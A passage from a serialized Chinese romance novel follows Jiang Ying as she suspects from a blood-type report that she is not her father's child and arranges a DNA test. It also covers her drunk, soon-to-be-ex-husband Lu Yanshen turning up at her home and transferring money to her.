“老头儿,事情交给我了,你就放心,保证不掉链子。”江莹笑眯眯道,“玥玥还没有看过我刚成立的工作室,我带她上去看看。”
钟宏喜欢这两个丫头,看到他们就恨自己没闺女,私心却已经把江莹当闺女。
江莹带着梁玥上楼后,梁玥拉着她有些紧张,“莹莹,有件事有点奇怪,昨天晚上那个保姆我把她打晕后,放在了路边,但今天早上我把那孩子交给秦欣时,她说让我交出保姆,但我昨晚明明就已经把她放了。”
“你的意思是她失踪了?”
梁玥点头,“会不会出事?”
江莹心里一咯噔,若是保姆真出了事,她们昨晚的事就真犯法了。
“宝儿,陆砚深克你,这还没有拿到离婚证呢,代价有点大呀。”
江莹握住她的手,“别怕,真有事也是我做的,跟你没关系。”
“说什么呢,我是那种不顾姐妹的人吗?”
两人忧心忡忡,暗暗祈祷保姆不要有事。
这时,秦欣发来消息,“既然已经提交申请登记离婚,还请你以后跟砚深保持距离。”
她的得意,江莹顾不上,快速回消息:“你家保姆回去了吗?”
“回来了,你办事还挺周全,竟然把她也关了一晚。若是昨晚保姆回来,怕是会被砚深问出点啥。”
看到消息,江莹悬着的心落了下来。
转而问梁玥,“昨晚你给秦欣打电话用的谁的手机?”
“我的呀。”
江莹暗暗庆幸,幸好保姆没有回去,要不然陆砚深一问,就知道她给秦欣打过电话,顺着手机号就能查到是梁玥。
没有干过这种事,真的留下来致命的破绽。
还好有人给他们善后了,只是这个人是谁?为什么要帮她?又是怎么知道她的计划的?
秦欣不会跟别人说,她巴不得自己跟陆砚深离婚。
梁玥这会儿也反应过来,“妈呀,幸好这保姆一晚上没有回去,要不然咱俩白忙活。但,到底是谁在帮我们?”
两人你看我,我看你,半天也想不出个所以然。
梁玥正趴在桌子上冥思苦想,手机震了震,有消息进来。
看到消息,她生无可恋的起身。
“宝儿,中午不能跟你一起吃饭了,牛马人去当牛马了。”
第60章 我答应过,这件事永远不提
江莹疑惑,早上还跟她说要让她请吃饭,庆祝她成功登记离婚,怎么又要忙了?
“哎,你不是说要休息半个月吗?怎么又开始写新剧本了?”
梁玥一脸苦相,“不是写剧本,是真的去当牛做马。”
江莹不解,梁玥也不知道该怎么解释,主要是太没面子了。
这两天被沈斯阳折腾的够呛,当司机、当跟班,狗东西仗着自己手里有她的把柄,要求她随叫随到。
梁玥走后,江莹心情放松下来,开始研究钟宏给她的资料。
刚看没两页手机响起,看到银行转账通知,她瞬间愣了。
张启明给她转了三百万?
妈呀,这可是破天荒头一回,别说三百万,就是三万他都没有给过。
江莹还以为他搞错了,正想着即便他搞错了,她也不会还回去,打到了她的卡上,那就是她的。
是张启明欠她的。
正准备放下手机,张启明的电话打了过来。
江莹冷笑,看来还真是转错了,要钱的电话这就打了过来。
电话响了一阵,江莹接通,她没有说话,却传来张启明可以讨好的声音,“莹莹,这几年爸爸对你的关心比较少,忽略了你在婆家也需要娘家撑腰,以后每个月爸爸都给你三百万,你想买什么就买,想做什么就做,这是爸爸给你的底气。”
江莹愣了,虽然觉得突然,但自己渴望了这么多年的父爱突然出现,她还是很没出息的有些动容。
或许,那些照片真的不是他拍的,他只是受了张旭的蛊惑,想要用照片吓她,让她不要离婚。
但多年的心里隔阂,让江莹不敢轻易相信。
张启明突如其来的父爱也有可能只是为了跟她缓和关系,毕竟他刚刚从陆砚深那里拿到了新能源项目百分之十的利润。
“这是你欠我的,江氏是我外公创办,我妈、我和江墨才有继承权,你鸠占鹊巢光利用我跟陆砚深的关系,不知道捞了多少好处。要仔细算的话,远不止这点钱。”
“莹莹,爸爸跟你说过多次,你外公和你舅舅……”
“张启明,谎话说多了可能你自己都信了,但我不信。”
江莹打断了张启明的话,不想听他诉苦,找借口。
说完这话,她直接挂了电话,不管张启明是不是真的想要弥补她,但伤害已经造成,裂痕不可能轻易修复。
江氏是外公的,应该交到江墨手里,还有让母亲跟他离婚的事,这两个念头在江莹心里已经生根发芽。
每个月都给她三百万,他敢说,江莹不敢信,心想能拿多久算多久。
此时的陆砚深,刚到秦欣的住处,看到孩子没事,松了口气。
秦欣眼睛红肿,声音有气无力,“对不起砚深,都怪我,若不是因为我,莹莹也不会这么跟你闹。”
那张苍白的脸上满是自责。
“三年前的那件事,你跟江莹说吧,我不介意了。”
她声落,大颗大颗的眼泪顺着脸颊往下流,慌忙抬手去擦,像是在极力掩饰。
“砚深,我真的不介意了。我承认我对你还有感情,但我早就知道自己已经没有机会,配不上你,要不然我也不会生下轩轩。”
陆砚深神色僵住,沉默良久,温声开口,“我答应过谢川,这件事永远不提,会把轩轩当成我自己的孩子抚养长大。我跟江莹的事,我自己会解决,你不要想太多。知道轩轩的存在,江莹一时接受不了才会闹,等她情绪过了,也就不闹了。”
他脱口而出的话,不知道是在安慰秦欣,还是在安慰他自己。
秦欣捕捉到他语气的宠溺和无奈,指甲深深嵌入掌心,脸上却勾出一个温良的笑容。
“嗯,江莹那么爱你,她不会真要跟你离婚。”
陆砚深看了她一眼,声音淡了几分,“秦欣,我希望你能记得自己刚刚说的话,你若是遇到合适的人,轩轩交给我,我不拦着你。但你不要想着利用我的愧疚,试图改变什么。”
对上陆砚深有些冷意的眸子,秦欣勉强扯出一个笑,“我现在只有一个念头,就是把轩轩养大,把我妈照顾好。”
陆砚深听她提起周梅,叹了口气,“既然周阿姨已经知道了我结婚的事,你就好好劝劝她,我的承诺是不会变的,这一点你们可以放心。”
秦欣擦了擦脸,“你放心,我会劝她的,她的病已经稳定很多。”
陆砚深看了她一眼,神色复杂,留下一句“你照顾好轩轩”,转身离开。
看着他挺拔的背影,秦欣紧握着的手,缓缓松开,她追逐了十年的男人对她依旧这么冷漠。
但这辈子她得不到的,别人也休想得到,只要有孩子在,陆砚深就不可能摆脱她。
……
当天下午,江莹早早离开古坊斋去了疗养院。
江岚虽然已经可以活动,但毕竟还没有痊愈,昨天没有回来,她心里已经很不安。
平时把母亲一个人留在疗养院已经很不孝,若是这个时候还不能在跟前照顾,那她就太不孝了。
而且,她的电脑还在疗养院,那里面有她所有的设计稿。
江莹回到疗养院,发现门口多了几个守卫,比平时要严肃很多。
她悄悄问门卫保安,“大哥,什么情况,今天的安保怎么这么高规格?”
保安认识她,毕竟这三年她每周都来,有时候还会住上两天。
“有大领导来视察,你进去之后不要到处乱走。”
江莹在经过几轮盘查和核对后,才被允许进入,但车子被迫停在外面。
紫荆疗养院是江北市有名的疗养地,集治疗、看护、养老于一体。里面条件设施齐全,被领导视察,江莹并不觉得意外。
她走进去之后,按照保安大哥交代的,并不敢乱走,径直沿着小道往母亲所在的病房楼走。
下午四点,冬日的光线呈现金色,不算温暖,却让人莫名心静。不觉间,脚步轻快了不少。
走到VIP病房楼前,远远看到有不少人站在楼下的休闲区。
江莹心说,大领导视察不会就这么华丽的碰上了吧?
她又走进几步,看到刘姐推着母亲站在人群之外,不远处是几个平时一起散步的老人,围着说话。
人群中时不时传来院长的声音,似乎在跟大领导介绍情况。
看样子是刘姐想带母亲回去路被堵了,江莹放轻脚步靠了过去,想在不打扰大领导视察的情况下推母亲回去。
刚上前走了两步吗,却看到一个高大的男人缓缓在她母亲面前顿了下去。
第61章 江莹:我是谁的孩子
男人身后的人被一个年轻男子抬手挡住,将人群与江岚之间隔开距离。
落日的余晖从两人中间穿过,在静静相望的两个人之间形成了一条流光河,仿佛两人是久别重逢的故人。
江莹顿住脚步,莫名觉得不该上前去打扰。
她站在不远处,看着眼前的一幕,愣了几秒,直到看清男人的脸,才提步上前。
直到江莹的靠近被一旁的工作人员制止,半蹲着的男人才转头看向她。
“姑……”
那个“父”字还没有叫出来,她赶忙改口,“您别介意,我妈三年前出了车祸,现在不认识人,也从不开口说话。”
乔远文愣了两秒,神色收得很快。他微微朝着江莹颔首,声音低沉,“你妈状态看着还不错,安安静静挺好的。”
“嗯,前几天受了点伤,伤口刚好一些,要不然也不用坐轮椅。”
乔远文眸底幽深,视线依旧停在江岚脸上,脸上分明很平静,但江莹却隐隐觉得他神色严肃而复杂。
院长怕江莹因为上次争病房的事说出什么多疗养院不好的话,赶忙上前,“难得各位领导这么关心我们疗养院的发展,我作为院长更觉责任重大,还请各位领导放心,我们疗养院一定会精益求精,为老年人的晚年生活保驾护航。”
江北市委的人也跟了过来,语重心长道:“张院长,乔书记难得到我们江北市来一趟,在考察了塘县经济之后特意绕道来到这里,可见对你们疗养院的重视。”
乔远文看了江莹一眼,叮嘱:“好好照顾你母亲。”
一句简单的话,在外人听来在普通不过的客套。
乔远文身边的秘书,却看到了他转身离开时的决绝。
来这里本就让他措手不及,现在竟有点见到了熟人的感觉。
目送乔远文离开,江莹推着母亲往病房走。
刘姐跟在身后小声嘟囔,“莹莹,我怎么觉得这个大领导跟夫人认识呢,蹲在那儿看着夫人一个字都没有说,就那么看着她。”
江莹离得并不远,确实没有看到乔远文开口。
“他是不是知道夫人的情况?”
江莹对此并没有放在心上,“刘姐,人家那么大的领导怎么会跟我妈认识,就是顺路过来考察,没看到身后跟着那么多市委的人。”
刘姐笑笑,“也是,没听太太说过有在政府工作的朋友。”
送母亲回到病房,刘姐开始去厨房做饭,“莹莹,你妈已经没什么事,你每天睡在沙发上也不舒服,早点吃完饭回去吧,明天还得上班。”
离职的事,江莹并没有跟她说,她还以为江莹在陆氏上班。
看母亲状态不错,江莹边收拾东西,边应承,“行,我妈这边就辛苦你了。”
“看你说的,你每个月给我那么高的工资,我做什么都是应该的。说真的,若不是你,我家里那一摊子事儿,我也撑不过来。”
江莹弯唇,“刘姐,我们就不说客气的话了,这么多年我已经把你当亲人。而且,我妈也依赖你。”
刘姐笑眯眯道:“我一天不在夫人跟前,我也不放心。”
刘姐老公烂赌,家里被他败了个精光,孩子上学都交不起学费。
若不是江莹,她两个儿子也不可能都上大学。
江莹收拾自己的资料和电脑,在桌子底下捡到一张检查报告。
是她三年前的检查,应该是车祸那会儿她的报告跟母亲的混在一起,带到了这里。
刘姐洗了水果给她端过来,看到她捡到东西看,笑道:“应该是昨天我整理东西掉的。”
江莹看着自己检查报告上血型那一栏写着O型,她愣住了。
当初担心母亲,都没有仔细看自己的检查报告,到现在才发现她竟然是O型血。
江莹握着纸张的手,指节泛白,这怎么可能?
当初车祸后,江岚失血过多,因为连环追尾,医院血库告急。医生建议家属献血,张启明可是直接拒绝了,他当时的话江莹记得很清楚,“她是O型血,我是AB型血,我不能给她输血。”
当时江莹还以为是张启明不愿意献血,直到护士说那确实不能,她才释怀。
后来还专门去了解了血型之间的关系。
她现在可以肯定O型和AB型结合,是不可能生出O型血的孩子。
那她……
这个认知在她脑子里瞬间炸开,她不是江岚和张启明的孩子。
那她是谁的孩子?
妈是亲的,还是爸是亲的?
一时间,江莹整个人呼吸都上不来气,手里菲薄的纸张,却像是有千斤重,低垂的胳膊怎么都抬不起来。
刘姐看她一动不动,脸色也不好看,叫了她一声,“莹莹?”
江莹只觉大脑一片空白,她抬头看着刘姐,神色有些呆滞。
“莹莹,怎么啦,出什么事了?”
刘姐看她神色不对,在她身边坐下,握住她冰凉的手。
江莹恍惚中回神,沉默了一瞬,深吸一口气道:“没事,就是看到这个报告,想到了当初的车祸。”
刘姐拍拍她的手,给她温暖,“都过去了,你看现在不都好好的,夫人也会越来越好的。”
她说着看向了靠在床上发呆的江岚。
曾经那么漂亮的夫人,如今像没有灵魂的木偶,刘姐心里很不是滋味。
江莹缓了缓情绪,收拾好东西道:“刘姐,我不在这里吃晚饭了,明天要交一份图纸,我回去赶一下。”
她说着去收拾自己的东西,顺便带走了江岚的牙刷和头发。
半小时后,江莹直接推开了张家的门。
张启明还没回家,唐玉和张冉冉母女看到她就来气。
但想到张启明的叮嘱,还有上次她的暴戾,唐玉忍住了。
“莹莹,回来了?”
唐玉假模假样地跟她打招呼,还不忘吩咐厨房,“吴妈,加两个莹莹爱吃的菜。”
“不用装了,又没外人,演也挺累的。”
江莹睨了她一眼,直接上楼。
“江莹,你要干什么?”
张冉冉咬牙跟在她身后,上次把她打趴在地上,额头上的疤只能靠刘海遮挡。
看到江莹,就恨不得划烂她的脸,但偏偏她身后还有陆砚深,自己得罪不起。
见江莹直接往父母的卧室闯,像是要找东西,张冉冉挡在她面前,“爸现在每个月给你三百万,你还不知足,怎么一回来就到处扒拉?”
想到江莹每个月能拿到三百万,张冉冉心里就更恨。
“陆砚深知道你回来就打砸吗?在他面前像个小猫,回来像头凶兽要说演没人能比得上你。”
“张冉冉,不想再挨打你最好别惹我,否则今天我就不是戳你屁股那么简单,我直接在你脸上刻字。”
说着从包里拿出一把刻刀,在张冉冉脸前晃。
唐玉看她上楼,也很疑惑地跟了过来,这丫头每次回来坐都不坐,今天怎么跑他们卧室去了?
“莹莹,你别冲动,你爸已经按要求把三百万给你打过去,你就别再闹了,你们毕竟是父女。”
听得江莹一愣,“什么要求?”
张冉冉冷笑,“装什么装,若不是你要的,陆砚深怎么可能让爸签协议,在新能源项目存续期间,每个月给你三百万。一半的利润都给你了还装,就你这凶巴巴的样子,也不知道陆总看上你什么了?”
第62章 她一感动,随你怎么睡
听到这个消息,江莹咬唇,还以为张启明突然良心发现,原来是那个狗男人让他这么做的。
她现在没心情想陆砚深为什么要这么做,只想拿到可以提取张启明DNA的样本。
“嫉妒也没用,也不看看你自己,看不上我,难道看上你?”江莹举着手里的刀,往前一步,“黑煤球一样,想勾引男人还是先去漂个白吧。”
“江莹……”
张冉冉皮肤是有点偏黑,但也没有像江莹说的像黑煤球那么夸张。
“莹莹,我们卧室真没有什么东西,你到底想要什么?”
“出去,否则,我什么都干得出来,你们知道的。”
唐玉和张冉冉被她步步紧逼到门外,然后江莹反锁了门去卫生间搜集张启明的样本。
收好东西,江莹开门离开。
“妈,她怎么跟土匪一样,随意就闯进来?”
刚走到门口的江莹转头冷笑,眼神里是毫不掩饰的厌恶。
这个房子她早晚会拿回来,这里是她出生那年,外公出钱买的。
就凭张启明原本的那点收入,他怎么可能买得起别墅?
江莹离开张家,直接去了DNA鉴定机构。
把东西送到,办完加急手续,江莹从鉴定机构出来,坐在车里迟迟未动。
其实,在看到自己血型的那一刻,她心里几乎已经有了答案。
母亲对她的向来宠爱,可以说是有求必应。
张启明的凉薄之前伪装得还好,但这几年他对她的厌恶一点点显露,甚至有时装都不想装一下。
张启明若不是她的亲生父亲,那这些年他们对她的所作所为一切都说得通了。
没有亲情,只有算计和利用。
难怪对张冉冉都比对她好!
想到这里,江莹坐在车里笑了,是释然的笑。
曾经以为是自己不够好,不能讨爸爸和奶奶的欢心,所以亲缘关系淡薄。
现在看来,并不是她的过错。
明天,结果就能出来,等结果出来。
江莹暗暗盘算着接下来的路。
……
迷度会所。
沈斯阳看着一阵闷不吭声抽烟的陆砚深皱眉。
他今天难得觉得上班比较有趣,还想加个班,却不想被这家伙叫了过来。
来就来吧,气压低得吓人,一句话不说,就看他喝酒抽烟。
两个大男人干坐着,哪有他折腾那个虎丫头有趣。
想想今天在公司那丫头敢怒不敢言的样子,他忍不住勾唇笑。
“笑那么贱,是不是又祸害人家女孩子了?”
自己今天被离婚,他却又犯桃花,陆砚深心里不爽。
“我祸害谁了,哥们儿喜欢谁不喜欢谁,向来分得很清楚。喜欢就追,在一起就是图高兴,不高兴了就分,没有拖着谁,也没有钓着谁。纯纯的正人君子,分手了依旧是朋友。”
陆砚深听他这话,总觉得他在阴阳自己,抬眸瞥了他一眼,“再特么这么嘴欠,明天给你的投资减半。”
沈斯阳咬牙,“狗东西,你也就这这方面压制我。说说吧,半天了这半死不活的样子,是不是江莹又惹你了?”
陆砚深抿了口酒看他,像是在说你怎么知道。
“别这么看着我,除了江莹我还没有看到谁能让你这么失魂落魄。”
“会不会说话?”
“你也只能在我这里听到实话。”沈斯阳抿了口酒,“男女那点事,你跟女人讲什么道理。江莹喜欢你的钱,你就给她钱,一箱一箱地给,然后她一感动,还不是随你怎么睡。”
陆砚深瞪了他一眼,“你以为都跟你一样,就想着睡?”
“**,你不想着睡,一脸欲求不满的样子?”
“不想着睡,不管应酬到多晚都回去,没结婚之前喝酒太晚你直接就住在酒店。结婚后,你住过吗?”
别人或许只是看出他情绪不好,但沈斯阳跟他从小一起长大,陆砚深若是看不上的人,他不会放在心上,甚至连看都不会看一眼。
现在他对江莹明显不一样,不但情绪受那个女人的牵制,还一副要死不活的样子,典型的对人家动了心,欲求不满,还死鸭子嘴硬。
陆砚深听着烦,他有吗?不过是怕那个傻女人干等,哪里是沈斯阳说的那样?
想到今天江莹办理登记时平静的样子,心里更烦,他抬手喝了杯里的酒
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,然后又给自己倒了一杯。
“她非要离婚,已经办了离婚登记。”
沈斯阳错愕后皱眉,“你不愿意有一百种办法,被你搞糊涂了,你到底想离还是不想离?”
陆砚深:“……”
“看你这个样子,肯定是不想离的,那你为什么要去登记?”
“她威胁我。”
“呵呵,她威胁你?”沈斯阳显然不信,“能威胁你陆砚深的人还没有出生吧?”
沈斯阳不知道轩轩的存在,陆砚深也不想让他知道,毕竟孩子还小,不该让太多人关注他。
他只想孩子能平安健康地长大。
看他一副不愿多说的架势,沈斯阳知道怕是什么都问不出来了。这狗东西若是不想说,他那张嘴谁也问不出来。
作为多年的好友,沈斯阳向来不追问,他要想说的时候自然会说。
看他情绪不佳,干脆陪他喝酒,有老婆的人突然老婆没有了,确实有点让人不太容易接受。
两个大男人,坐在有一搭没一搭地喝酒,沈斯阳觉得无聊。
看陆砚深有些迷糊,眼珠子转转跟他玩儿游戏。
“砚深,咱俩这么喝挺没意思的,我们玩儿快问快答游戏,十秒内打不出来算输。你赢了我给你转一万,我赢了你给我转一万,不想转钱喝酒也行,成吗?”
陆砚深也不知道听明白了没有,反正没有反应。
“你不说话,我就当你答应了。”沈斯阳盯着自己好兄弟,噙着一抹不怀好意的笑,“第一局,我问你答,我总共交了几个女朋友。”
陆砚深拧眉,犯难的脸上带着醉酒后的憨态。
“十、九、八……三、二、一,你输了,转钱。”
他说着拿出自己的手机把付款码伸到陆砚深面前,“亲兄弟明算账,但你胃不好,兄弟心疼你酒就别喝了,给钱吧。”
陆砚深拧眉眨了眨眼,虽然不解,但还是老老实实给他扫钱。
“是不是该我问了?”
沈斯阳憋着笑,压着得意的神色道:“对,你问。”
“我一碗饭吃了几粒米?”
沈斯阳:……
他不是醉了吗,怎么还这么机灵?
第63章 离婚第一天给她跪了两次
陆砚深盯着沈斯阳犯难的神色,学着他刚刚的样子,“十、九、八……三、二、一,你输了,转钱。”
“老陆,你到底醉了吗?”
陆砚深疑惑地眨了眨眼,像是在看一个二傻子。
沈斯阳若不是足够了解他,真会被他现在的状态给骗了。
陆砚深三杯酒的量,他喝醉了,不说话不动跟正常人一样。
“我选择喝酒。”
沈斯阳咬牙看着他,这人从小就聪明,特么喝醉了还这么聪明,钱他还没有暖热不能就这么还回去。
两人就这么一来一往,陆砚深输钱,沈斯阳喝酒。
到最后,沈斯阳挣了十万,也彻底喝醉。
十点半,沈斯阳难受,给梁玥打电话,让她来迷度接他。
梁玥气得不行,狗东西仗着自己手里的照片和视频一再地使唤她。虽然不爽,但现在只能先忍着,君子报仇,十年不晚。
她感到迷度,看到包间里的两个人,瞬间头大。
陆砚深这狗也在。
看他靠在沙发上眯着眼,梁玥抬脚在他腿上踹了一下。
“狗东西,喝死才好,我们家莹莹就可以直接继承财产了。”
说着去扯沈斯阳,两个男人喝成个样子,作死!
陆砚深一阵吃痛,瞬间睁开了眼,看到梁玥眉头皱了皱,“叫江莹来,我要回家。”
梁玥不确认他是否认出自己,冷着脸道:“要回家,叫你家司机来接。”
“叫江莹来。”
梁玥这会儿算是确认了,这狗东西认出她了。
她不搭理陆砚深,拽着沈斯阳往外走。
“小丫头,你怎么整天板着一张脸,我是你老板,你把老板得罪了有什么好处?”
梁玥一巴掌拍在他屁股上,“走不走?”
都醉得走不成了,还端老板的架势,看我今天怎么折腾你。
陆砚深看他们要走,拉着梁玥的外套不放,前面的人走一步,他后面跟一步。
梁玥气得不行,狗东西讹上她了。
“陆总,我不知道你家在哪儿,松开。”
“给江莹打电话,让她来接我,要不然你们也别走。”
陆砚深一本正经,若不是目光有些呆滞,性情大变,梁玥真的会以为他是装的。
沈斯阳这会儿难受得想吐,拽着梁玥就要吐。
梁玥抬手捏住他的嘴,“给憋住。”
说完捏着他的嘴带他找垃圾桶,后面被陆砚深拉着,一前一后那叫一个难受。
沈斯阳抱着垃圾桶吐了一阵,难受道:“我要回家,小跟班,送我回家。”
梁玥咬牙带沈斯阳上车,陆砚深依旧揪着她的衣服不放,言语执拗,“叫江莹来接我。”
“哥,你马上就是前夫哥了,认清自己位置。还接你,不给你一刀都已经是莹莹仁慈。”
梁玥瞪了他一眼,若不是怕他酒醒了找自己麻烦,真想一脚踹他屁股上。
但心里还是气不过,又骂道:“死渣男,有私生子,还霍霍我们家莹莹,什么玩意儿。”
坐在车里耷拉着脑袋的沈斯阳,听到“私生子”瞬间抬头,“什么私生子,谁有私生子?”
梁玥一巴掌拍在他头上,“别说话。”
听见他说话,烦,想揍他。
陆砚深扯着她的衣服角不放,气得梁玥想爆粗口。
眼看摆脱不了,她心一横,就当跑滴滴了。
“陆总,给我转点钱,我送你回去。”
陆砚深点头,拿着手机就扫梁玥的收款码。
梁玥看到到账一万块,瞬间睁大了眼睛,人傻钱多就是好。
有钱就好办事,梁玥让陆砚深上车,但到了湖心公馆,狗东西抱着安全带不下车,说不是这里,他不要回这里。
“陆砚深,你给的钱就是到这里的,快下车。”
沈斯阳半眯着眼,难受地缩在车门边不说话。
“我住在梧桐里,不住在这里。”
梁玥:……
看来今晚见不到江莹,陆砚深不会放过她。
心想,一个醉鬼,也不能怎样,但在总不能让他跟着自己吧?
但江莹不一样,他们现在怎么说都还是夫妻,送他过去也算合理。
“带梧桐里是另外的价钱,陆总要去吗?”
一旁难受的沈斯阳嘟囔,“是不是到了,到我家了吗?”
梁玥转头,“啪”一下拍在他肩膀上,“闭嘴,再说话把你扔路边。”
沈斯阳吃痛,撇撇嘴,不敢说话。
陆砚深皱眉,“他脑子本来就笨,越打越笨。”
梁玥深吸一口,自己怎么就倒霉碰上这么两个玩意儿,“你还去不去梧桐里?”
陆砚深点头,“去,我要回去睡觉。”
梁玥有点想笑,那么高冷一个人,喝醉了跟个傻子一样。
“扫码付费。”
陆砚深乖乖拿出手机扫码,直接又付了两万。
梁玥憋着笑,一脚油门开车往梧桐里。
到了门口,给江莹打电话。
江莹这会儿已经洗漱完,因为情绪不好靠在床上发呆。
看到梁玥的电话,她直接接通,“喂,玥玥。”
“宝儿,我实在没办法了,你开门接个人吧。”
不等江莹反问,门铃响起。
只是没有响两声,房门突然就开了。
梁玥看陆砚深直接输密码开门,惊住,“哥们儿,你知道密码?”
“我老婆家,我当然知道密码。”
梁玥冷笑,之前爱答不理,现在知道是他老婆了,贱不贱?
“马上就不是你老婆,你老婆不要你了。”
梁玥故意气他。
“我老婆,永远是我老婆,她不可能不要我。”某人梗着脖子叫嚣。
江莹下楼,看到门口站着的两个人,秀眉轻蹙,“你们俩怎么在一起?”
梁玥无奈道:“这人一直缠着我要找你,你先收留一晚,车里还有一个醉鬼,我先送回去。”
“车里是谁?”江莹想不出陆砚深怎么跟会缠着梁玥。
“一个朋友,你先处理这个人,我怕那人吐我车上。”
梁玥怕江莹知道她跟沈斯阳的事,急急忙忙离开。
“哎,玥玥,你把他送我这里也不合适呀。”
“那你就给他扔到门外吧,要不然他一直缠着我。”
梁玥头也不回地走人。
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>陆砚深看到江莹就往上凑,想去抱她。
江莹轻巧地躲开,狗男人站不稳,身体往前趴,扑通一下直接跪趴在江莹面前。
画面静止了那么一瞬,江莹看着跪在自己面前大男人,眼珠子都直了。
“这还没过年,我没有准备红包。”
“我不要红包。”陆砚深摇晃着爬起来,只是还没有站起来,双腿打颤又啪叽一下摔倒在地上。
一连两趴,江莹噗嗤一声笑了出来。
原本有些沉重的心情,这会儿烟消云散。
狗东西冷落了她三年,没想到登记离婚第一天就给她跪了两次。
“起不来就别起了,你跪着我心情好,说不定不赶你出去。”
陆砚深眨眨眼,拧眉忍着痛道:“老婆,我可以让你心情更好。”
说完,狗男人低头捣鼓手机。
江莹撇嘴,没有去想他话里的意思,只觉那声“老婆”很刺耳。
跪在地上的男人捣鼓好手机,再一次站了起来。
这次晃了两下,直接扑在江莹身上,“莹莹,我胃里难受,想喝粥。”
江莹推着人往门口移,“想喝粥找你的小心肝去,她会给你煮。”
“她煮的不好喝,你煮的好喝。”说完陆砚深捧起她的脸,“她才不是我的小心肝。”
“对,你儿子是你的小心肝。”江莹边说边往外推。
“嗯,对,我有两个心肝。”
某人一脸认真地盯着江莹,郑重地点头。
江莹咬牙,刚才还叫老婆,这会儿又说他那两个心肝,变态。
玷污了老婆这个称呼。
她抬手推他,手机叮一声短信提醒。
江莹瞄了一眼握在手里的手机,瞬间瞪大了眼睛。
狗东西竟然给她转了一百万。
“陆砚深,你为什么突然给我转钱?”
喝傻的某人,傻呵呵笑道:“你不是最爱我的钱,我给你钱让你开心。”
江莹咬唇,三年了,他还这么想她。
难怪让张启明每月给她三百万,原来就是觉得她爱钱,有了钱就不会跟他闹。
“对,我最爱你的钱,但你这一百万只配待在门口。”
江莹说着直接将人推到门口,“还想喝粥,喝西北风吧。”
陆砚深扒着门框不松手,“莹莹,你怎么又闹脾气,嫌钱少我再给你转。”
江莹看着傻不拉几的人犯愁,以前他喝醉总是安安静静,让他躺着,他绝不坐着。
乖巧又听话,哪像今天这么傻。
看他有拿着手机捣鼓,江莹呵斥,“你再不滚我报警了。”
“我不走,你喜欢钱,我可以给你更多的钱。”
狗东西扒着门不放,任凭江莹怎么推,都不松手。
再次听到手机提示音,江莹下意识看手机,虽然已经知道是陆砚深给她的转账,看清到账记录,还是没出息地眨了眨眼。
看陆砚深扒着门,用力想要往屋里蹭,江莹又气又想笑。
“陆砚深,你现在这个形象我若是拍下来发到公司群里,你说会怎样?”
听到这话,某人瞬间站直,一把搂住江莹的腰,带着她往屋里去。
第64章 他亲她
“你……”江莹被人直接抱进屋里,咬牙道:“你还知道要脸。”
江莹挣扎了两下,怎么都甩不开,被他死死抱着不放。
“我当然要。”狗男人这会儿下巴顶在她肩膀上,声音很轻,“江莹,你好多天没有给我准备衣服了。杜宇说公司那群小姑娘都开始在背后议论我,嫌我衣服不够挺,搭配也没品味。是我没品味吗?是你总闹脾气不管我,王嫂准备的能有什么品味。”
江莹听得想笑,狗东西这也能怪她?是谁嫌她管得宽,说自己内裤颜色都不能做主的?
不过,这狗东西不是向来高冷,怎么还在乎公司小姑娘怎么议论他?
男人,果然都一个样,花花肠子一点不少,装货!
江莹知道公司未婚女生有个单独的小群,群里讨论最多的就是陆砚深。
多少女生都梦想着能够得到老板的青睐,电梯口被他多看一眼,女生都会在群里炫耀,兴奋一整天。
想到自己之前精心为他准备衣服,每天晚上提前熨烫好,江莹心里发酸,“公司有多少小姑年议论你?你每天穿那么挺拔就是为了勾引小姑娘?”
陆砚深呼吸轻浅,声音中带着醉意,“我哪有?我怎么知道有多少人议论,都是杜宇跟我说的。”
江莹扯唇,狗男人长得好,又特么会装,刚进社会的小姑娘不被迷得七荤八素才怪。
于是冷笑,“那她们应该是暗恋你,你这后宫队伍还挺庞大。”
陆砚深有些不耐烦,“我没有后宫,在我这儿,除了正宫,其他都是冷宫。”
江莹颇为认同,心想自己在冷宫里待了三年,可不是嘛。
这个时候,不能跟一个酒鬼掰扯,说不清楚,纯属浪费时间。
一晚上六百万,似乎也不是不能接受。
“去沙发上躺着。”江莹推开人,指着沙发道。
“我不睡沙发,我要跟你一起睡。”
江莹看着他乌黑清亮的眸子,心想果真是喝傻了,结婚三年都没有表现出对她多有热情,现在却要粘着她一起睡。
“莹莹,你是不是还喜欢那个宋瑾修,因为他现在功成名就了,所以要跟我离婚,想要投奔他?”
陆砚深的话,让江莹愣了一瞬,醉鬼总算想起来自己要跟他离婚了。
“我喜欢谁都跟你没关系,你已经出局了,陆总。”
“你别喜欢他,他不但没有我长得好看,还没有我有钱,你要钱就找我,我可以给你很多钱。”
江莹想笑,又笑不出来,反而心里阵阵酸涩,自己爱了他这么多年,在他心里竟然跟捞女差不多。
而且,这形象是有多根深蒂固,以至于他醉成这样,还念念不忘她惦记他的钱。
“去沙发上躺着,再不听话,让你滚出去。”
江莹凶巴巴瞪着他,让陆砚深不敢再说话,翻翻眼皮看着江莹,脚步虚浮地走到沙发跟前,然后听话地躺了上去。
看他还跟以前喝醉了一样听话,江莹松了口气去拿了床被子给他盖上,“不许起来,老老实实睡觉。”
“我胃里难受,想喝粥。”陆砚深委屈巴巴地看着她。
“睡觉,梦里什么都有。”
矜贵清冷的狗男人,这会儿乖得像个孩子,直接闭上眼。
江莹看了他两眼,知道他不喜欢自己,但三年婚姻,在他心里自己是个不折不扣的捞女,还是让她心底寒凉酸涩。
不由得庆幸自己迷途知返,捂不热的心不捂了。
与他们俩的闹腾不一样,梁玥送沈斯阳回去,一路上安静得如同只有她一个人。
直到下车,梁玥才看到沈斯阳乖巧地缩在门边睡着。
看他睡得安稳,梁玥气得不行,狗东西折腾她,他自己倒睡得挺香。
明天还要去上班,这会儿回去到家估计都要凌晨一点了。
想到这里,她直接拉开车门,正熟睡的人身体瞬间没有了依靠,猛地外门外栽。
幸好有安全带系着,要不然他肯定会摔个狗啃泥。
但经过这么一吓,睡意彻底没有了,酒意都醒了几分。
“梁玥,你要**老板?”沈斯阳皱眉坐好。
“沈总,酒醒了就赶紧下去,我还要开车回去。”
沈斯阳搞不明白,自己怎么就入不了这丫头的眼,每次看到自己就像有仇一样?
看她不耐烦的样子,沈斯阳捏着眉心,神色郑重了几分,“梁编剧,为了感谢你今晚仗义相助,我决定明天送你一份大礼。”
梁玥看他一本正经的样子,还以为狗东西良心发现。
她难得好说话的伸手将人扶了下来,“沈总客气了,大礼就不用了,过年多给我发一个月的年终奖就行了。”
沈斯阳盯着
